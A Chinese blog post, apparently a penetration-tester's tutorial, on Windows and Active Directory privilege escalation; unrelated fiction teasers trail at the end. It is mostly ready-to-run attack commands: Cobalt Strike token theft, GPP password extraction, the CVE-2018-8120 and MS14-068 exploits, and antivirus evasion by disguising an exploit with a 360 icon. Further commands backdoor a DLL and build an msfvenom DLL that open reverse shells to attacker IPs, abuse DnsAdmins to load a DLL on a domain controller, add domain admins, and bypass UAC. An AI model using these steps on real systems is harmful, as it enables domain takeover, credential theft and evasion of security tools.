Windows提权入门

一、访问令牌伪造

基础知识

windows系统中存在以下两种令牌:

  • 授权令牌Delegate Token:用于交互会话登录(例如本地、远程rdp登录)
  • 模拟令牌Impersonate Token:用于非交互式登录(例如net use、wmi、winrm远程访问等)

值得一提的是,当授权令牌在用户注销以后会自动转为模拟令牌,而且权限依然有效。在内网渗透时我们经常需要使用令牌伪造进行提权、降权等操作,下面通过具体案例进行说明。

漏洞利用

在一次渗透过程中,我们拿到一台域内主机,看了下权限是普通用户LAB\user1

beacon> getuid
image.png

进一步信息收集发现这是一台windows7系统,并且没有打ms17-010补丁

beacon> shell systeminfo
image.png

使用ms17-010漏洞将权限提到system

image.png
image.png

运行ps命令发现目标机器上存在域管进程,尝试访问域管提示拒绝访问

beacon> ps
beacon> shell dir \\test-lab.lab.com\c$
image.png
image.png

接下来使用steal_token进行令牌窃取,如下图,伪造完成后就有权限访问域管了

beacon> steal_token 3164
beacon> getuid
beacon> shell dir \\test-lab.lab.com\c$
image.png

如果想撤回令牌可以使用rev2self

beacon> rev2self
beacon> getuid
image.png

二、GPP提权之ms14-025

SYSVOL为全域共享文件夹,所有用户都可读,当域的组策略配置不当时,我们可以读取groups.xml文件。该文件中的密码使用AES256加密,但是微软直接提供了AES密钥,所以我们可以进行解密。

  • 搜索Groups.xml文件
findstr /S /l cpassword \\test-lab.lab.com\sysvol\lab.com\policies\*.xml
  • 通过浏览器直接访问
\\test-lab.lab.com\sysvol\lab.com\Policies\{19634A19-E8CD-4907-B020-A984884D2383}\Machine\Preferences\Groups\Groups.xml
image.png
  • 或者使用msf中的模块自动利用
use auxiliary/scanner/smb/smb_enum_gpp
set smbuser user1
set smbpass 123456
run
use post/windows/gather/credentials/gpp
set session 1
run
image.png
  • 修复
    打上ms14-025补丁

三、利用CVE提权

CVE-2018-8120

比较常用的一个提权cve,在win7和server 2008上效果不错。不过大部分杀软对网上下载的exp会直接kill。

https://github.com/unamer/CVE-2018-8120
image.png

介绍一种资源混淆免杀的方法,原理就是使用Restorator添加静态资源文件,例如我们给CVE-2018-8120.exe加入360的图标

image.png
image.png

添加完成,再次扫描提示无风险,执行命令也可以成功

image.png
CVE-2018-8120.exe whoami
image.png

ms14-068

使用ms14-068可以将域内任何一个普通用户,提升至域管权限。

whoami /user 查看当前用户的SID
net group "domain controllers" /domain 查看域控制器
klist 查看票据
klist purge 清除票据(很重要)
image.png
image.png

生成TGT票据文件,并使用mimikatz注入TGT票据

MS14-068.exe -u user1@lab.com -p 123456 -s S-1-5-21-2459985384-3702016611-994786968-1108 -d TEST-LAB.lab.com
mimikatz.exe "kerberos::ptc TGT_user1@lab.com.ccache" exit

票据注入完成后,即可获得域控权限

dir \\test-lab.lab.com\c$ 列出域控的C盘
net user test Test@123 /domain /add 创建域用户
net localgroup administrators test /add /domain 添加域用户到管理员组
net use z: \\test-lab.lab.com\c$ "Test@123" /user:"test" 将域控的C盘映射为本地的Z盘

创建定时任务 反弹shell

net time \\test-lab.lab.com 查看目标的时间
at \\test-lab.lab.com 10:28 c:\evil.exe 添加定时任务
at \\test-lab.lab.com 列出定时任务
at \\test-lab.lab.com 1 /del 删除定时任务

提权辅助工具

使用以下工具可以帮助我们自动枚举系统存在哪些本地提权漏洞
https://github.com/bitsadmin/wesng

systeminfo > test.txt
python wes.py test.txt
image.png

四、dll劫持

网上找到的解释:
在windows系统中,当我们执行某一个程序时,相应的dll文件会被调用,根据这个思路,我们可以将正常的dll文件替换成恶意dll文件,当管理员打开该程序时,就能达到提权的效果。
我的理解:
dll劫持的核心是找到有权限操作的dll文件,替换成恶意的dll,还需要管理员去打开程序。
实际场景中为了保持原dll的功能不变,可以手动去编写dll文件,也可以使用backdoor factory将恶意代码注入到正常的dll中。

  • 安装backdoor-factory
git clone https://github.com/secretsquirrel/the-backdoor-factory.git
cd the-backdoor-factory/
./install.sh

漏洞利用:

  1. 例如,当前我们获得了一个普通权限的webshell
image.png
  1. 接下来我们准备对FlashFXP安装目录下的msvcr110.dll进行劫持,实战中你可以先查看目标主机安装了哪些软件,然后在本地安装这些软件,再使用Process Monitor、PCHunter之类的工具,找到这些软件在运行过程中加载了哪些dll。
image.png
image.png
  1. 使用backdoor factory的代码洞注入功能,将恶意代码注入到msvcr110.dll中
root@kali:~/the-backdoor-factory# ./backdoor.py -f msvcr110.dll -s reverse_shell_tcp_inline -P 4444 -H 192.168.80.130
image.png
  1. 替换backdoor factory生成的msvcr110.dll,当管理员打开FlashFXP时,会加载我们制作的恶意dll文件,成功提权,并且不影响FlashFXP原本的功能。
use exploit/multi/handler
set payload windows/shell/reverse_tcp
run
image.png

五、将administrator提权到system

  1. 当我们拿到administrator用户的权限时,可以使用如下的方式提权到system。
  • psexec
PsExec64.exe -i -s cmd.exe
image.png
  • at
    创建计划任务的命令,默认以system权限启动,适用于win7及以下操作系统。
net time \\192.168.80.80
at \\192.168.80.80 11:34 c:/evil.exe
at \\192.168.80.80
at \\192.168.80.80 1 /del
  • schtasks
    对于win7以上操作系统,可以使用schtasks命令创建计划任务。
schtasks /create /RL HIGHEST /F /RU SYSTEM /TN TestService1 /SC DAILY /ST 14:17 /TR c:/evil.exe 以system用户创建计划任务
schtasks /query | findstr "Test" 查询计划任务
schtasks /run /TN TestService1 手动运行
schtasks /F /delete /TN "TestService1" 删除计划任务
  1. 当我们拿到加入了administrators组的用户时,需要绕过uac用户账户控制提权到system。
  • 使用msf中的bypass uac模块
use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp
set session 1
set target 1
exploit
image.png

六、DNSAdmins提权到域控

在域环境中,通常域控也是DNS服务器,如果域用户拥有DNSAdmin权限,则能够在DNS服务器上远程加载dll,进一步实现提权到域管。

  1. 查看用户组
    (DnsAdmins、Domain Admins、Enterprise Admins组内的用户都可以提权)
shell whoami /groups
image.png
  1. 使用msf生成dll文件
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.80.164 LPORT=4444 --platform=windows -f dll > plugin.dll
  1. 开启smb共享
impacket-smbserver tools ./tools/
image.png
  1. 使用dnscmd.exe远程加载dll,dnscmd.exe下载地址:
    https://github.com/3gstudent/test/blob/master/dnscmd.exe
shell "dnscmd.exe 192.168.80.80 /config /serverlevelplugindll \\192.168.80.164\tools\plugin.dll"
  1. 使用nc监听4444端口
nc -nvvlp 4444
  1. 远程重启dns使dll执行,nc即可获得域控的shell
shell sc \\192.168.80.80 stop dns
shell sc \\192.168.80.80 start dns
image.png

七、参考

https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8dnscmd%E5%9C%A8DNS%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%8A%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E5%8A%A0%E8%BD%BDDll/
https://mumuka.gitee.io/passages/MS14-025%EF%BC%9AGPP%E5%AF%BC%E8%87%B4%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/
https://blog.csdn.net/youshaoduo/article/details/107288351

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,921评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,635评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,393评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,836评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,833评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,685评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,043评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,694评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,671评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,670评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,779评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,424评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,027评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,984评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,214评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,108评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,517评论 2 343